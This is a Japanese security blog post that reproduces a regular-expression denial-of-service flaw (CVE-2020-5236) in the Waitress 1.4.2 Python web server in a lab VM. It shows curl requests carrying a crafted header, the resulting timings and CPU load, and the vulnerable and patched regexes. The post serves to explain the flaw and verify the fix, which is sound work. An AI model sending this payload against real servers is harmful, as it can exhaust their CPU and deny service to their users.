まったり技術ブログ

Webエンジニアのセキュリティブログ

【Python】Waitress の ReDoS をやってみる(CVE-2020-5236)

f:id:motikan2010:20200205224320p:plain
いらすとや産のPython

はじめに

 GitHub Advisory Database - CVE-2020-5236緊急度が Critical(最も危険) となっていたので調べてみました。

f:id:motikan2010:20200205214545p:plain:w700
GitHub アドバイザリ - CVE-2020-5236

 影響を受ける Waitress のバージョンは1.4.2のみです。
リリースのタイムラインは以下のようになっています。2020年1月中に導入した人はバージョンを確認してみたほうがよいでしょう。(※本脆弱性以外にも過去のバージョンには他の脆弱性が見つかっているようでした。)

  • 1.4.2 2020年 1月 2日 リリース
  • 1.4.3 2020年 2月 2日 リリース

Waitress — waitress 1.4.3 documentation

Waitress とは

 あまり耳にしないソフトウェアだと思う「Waitress」は何かと言うと、「WSGI サーバ」らしい。

 WSGI サーバとは何ぞやというと、

Web Server Gateway Interface (WSGI; ウィスキー) は、プログラミング言語Pythonにおいて、WebサーバとWebアプリケーション(もしくはWebアプリケーションフレームワーク)を接続するための、標準化されたインタフェース定義である。

by Wikipedia

つまり、
  Django や Bottle といったPython言語のWebアプリケーションフレームを動作させる為のアプリケーションサーバとのこと。
 Ruby界隈で例えると Unicorn に近い役割を持っているWebサーバだと思う。

 WSGI サーバーについてのより詳しい内容は以下の記事が参考になりました。
WSGIアプリケーションとは?WebフレームワークからWSGIサーバーまで - Make組ブログ

 今回脆弱性が発見された「Waitress」はそのようなソフトウェアの1つということです。

 どのくらい普及しているのかというと、GitHub の 約12,800個のリポジトリで利用されていることから、そこそこ普及しているWebサーバだと思います。

f:id:motikan2010:20200205215037p:plain:w700
2020/2/5 現在

 そんな Waitress から ReDoS(Regular expression Denial of Service) の脆弱性が発見されました。
本脆弱性の再現には特別な設定等は必要なく、さらに攻撃方法が容易ということで簡単に再現してしまうことから緊急度が Critical となっていると思います。

github.com

検証

 では実際に Waitress を利用した環境を構築し、本脆弱性を確認していきます。

検証バージョン

 各ツールのバージョンは以下の通りです。
Waitress は脆弱性が存在しているバージョンの前後のバージョン(1.4.1、1.4.3)も試しました。

  • Ubuntu 18.04.1
  • Python 3.7.4
  • Bottle 0.12.18
  • Waitress 1.4.1、1.4.2、1.4.3

環境構築

 検証環境の構築はこちらの記事を参考にしました。
bottle.py + waitressでPythonのみで動作可能なWebサーバ - Qiita

 検証の為に「bottle」と「waitress」のバージョンは上記事とは異なるものを使用しています。

 「bottle」は現時点の最新版を使います(任意)。
「Waitress」はパッチが適用されていないバージョン1.4.2を使います(必須)。

 なので各パッケージの取得コマンドは以下のように変更しています。

curl -OsL https://raw.githubusercontent.com/bottlepy/bottle/0.12.18/bottle.py
curl -sL https://github.com/Pylons/waitress/archive/v1.4.2.tar.gz | tar xz --strip=1 waitress-1.4.2/waitress

 あと私はVM上で検証していたので外部から接続できるように run(server="waitress", host='0.0.0.0', port=8080) の行を run(server="waitress", host='0.0.0.0', port=8080) に変更して実行しました。

ReDoS をしてみる

 Githubのアドバイザリを参照してみると、以下のようにPoCが記載されておりましたので、このシグネチャを用いて検証していきます。
送信する「x」文字を増やすごとに負荷が増えていくらしいです。

Invalid header example: Bad-header: xxxxxxxxxxxxxxx\x10 Increasing the number of x's in the header will increase the amount of time Waitress spends in the regular expression engine.

 それでは各バージョンに対して、このヘッダーを含めたリクエストを送信し、どのような挙動になるのかを確認していきます。

脆弱なバージョン 1.4.2

 curlコマンド用いてシグネチャを含めたリクエストを送信していきます。timeコマンドを付与して応答時間を確認しています。
応答時間が長すぎることを避けたい為、「x」は適度な数にして送信することにします。

$ time curl "http://192.168.56.13:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
Bad Request

Invalid header

(generated by waitress)curl "http://192.168.56.13:8080/hello/hogefuga" -H   0.01s user 0.01s system 0% cpu 54.468 total

 応答時間は約54秒でした。
まだ比較対象はありませんが、Waitress + Bottleのサンプルアプリケーションの応答時間であることを考えると非常に遅くなっています。

 サーバ側のCPU使用率を見てみると100%になっていました。
応答を返すと普通の状態に戻りましたが、攻撃の容易さを考えると非常に危険な脆弱性であることが分かります。

f:id:motikan2010:20200205222612p:plain:w500
CPU使用率 100%

パッチ適用バージョン 1.4.3

 今度はパッチが適用されているバージョンである1.4.3に対して検証を行い、脆弱性が修正されていることを確認します。

 以下のコマンドで Waitress のバージョンを1.4.3に変更しています。

$ cd libs/
$ rm -rf waitress/
$ curl -sL https://github.com/Pylons/waitress/archive/v1.4.3.tar.gz | tar xz --strip=1 waitress-1.4.3/waitress

 先ほどと同じリクエストを送信してみます。
今度は応答時間が0.026秒でした。CPU使用率を見てみてもリクエスト送信前と変化はなく、本脆弱性は修正されているということが確認できました。

$ time curl "http://192.168.56.13:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
Bad Request

Invalid header

(generated by waitress)curl "http://192.168.56.13:8080/hello/hogefuga" -H   0.01s user 0.01s system 44% cpu 0.026 total

脆弱性が存在しないバージョン 1.4.1

 本脆弱性はバージョン1.4.2のみに存在しているとのことでしたが、ついでにバージョン1.4.1でも試してみました。

 応答時間は0.043秒であり情報通り脆弱性は存在していないバージョンとなっていました。

$ time curl "http://192.168.56.13:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
Bad Request

Invalid header

(generated by waitress)curl "http://192.168.56.13:8080/hello/hogefuga" -H   0.01s user 0.01s system 24% cpu 0.043 total

脆弱性を掘り下げる

   ソースコードレベルでどの部分が問題であったかを確認していきます。

修正コミット

 本脆弱性の修正コミット。正規表現部分のみを修正している模様。

修正前 と 修正後 の正規表現

- 修正前
^(?P<name>[!#$%&'*+\-.^_`|~0-9A-Za-z]{1,}):[ \t]{0,}?(?P<value>([\x21-\x7e\x80-\xff]([ \t\x21-\x7e\x80-\xff]+[\x21-\x7e\x80-\xff]){,1}){0,})[ \t]{0,}?$

- 修正後
^(?P<name>[!#$%&'*+\-.^_`|~0-9A-Za-z]{1,}):[ \t]{0,}?(?P<value>(?:[\x21-\x7e\x80-\xff]+(?:[ \t]+[\x21-\x7e\x80-\xff]+)*)?)[ \t]{0,}?$

簡単に負荷の大きい正規表現を試す

 問題となっている正規表現も取得できたのでコマンドラインから確認することができます。
本脆弱性の原因となっている部分であり、手元で試すだけでも処理が遅く負荷が掛かっていることを実感することができます。

 こんな感じで正規表現を動かしてみました。

$ python
>>> import re
>>> re.compile("^(?P<name>[!#$%&'*+\-.^_`|~0-9A-Za-z]{1,}):[ \t]{0,}?(?P<value>([\x21-\x7e\x80-\xff]([ \t\x21-\x7e\x80-\xff]+[\x21-\x7e\x80-\xff]){,1}){0,})[ \t]{0,}?$").match('Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\x10')

遅い原因を考えてみる

 何故このような正規表現だと遅くなる(負荷がかかる)のでしょうか。
遅くしている原因となっている部分を抽出し、影響が少ない範囲でシンプルな正規表現にして何故遅いのかを考えてみます。

[ \t]{0,}?(?P<value>([\x21-\x7e\x80-\xff]([ \t\x21-\x7e\x80-\xff]+[\x21-\x7e\x80-\xff]){,1}){0,})[ \t]{0,}

↓ 負荷に影響が少なそうな部分を削除

([\x21-\x7e\x80-\xff]([\x21-\x7e\x80-\xff]+[\x21-\x7e\x80-\xff]){,1}){0,}

↓ 検索文字をわかりやすく

([A]([A]+[A]){,1}){0,}

↓ 繰り返しをシンプルに

([A]([A]+[A])?)*

 正規表現([A]([A]+[A])?)*を参考に遅くなる正規表現について考えていきます。

$ python
>>> import re
>>> re.compile("^([A]([A]+[A])?)*$").match('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB')

 マッチングに約3秒掛かり、無事遅い正規表現であることが確認できました。

 Regex101 を使って正規表現のステップ数を調べてみます。

 マッチ対象文字列を22文字に減らしていますが、685,829ステップも掛かっている模様です。

f:id:motikan2010:20200205221015p:plain:w500
マッチしない場合 - 685,829ステップ

 ちなみにマッチする文字列に変更した場合は、13ステップで完了しています。

f:id:motikan2010:20200205221012p:plain:w500
マッチする場合 - 13ステップ

 ReDoSの原因( = 良くない正規表現)を特筆すると長くなりそうなので今日はここまで _(:3 」∠ )_
別の記事としてあげたいと思います。

参考

本脆弱性の情報

ReDoSの情報

更新履歴

  • 2020年 2月 5日 新規作成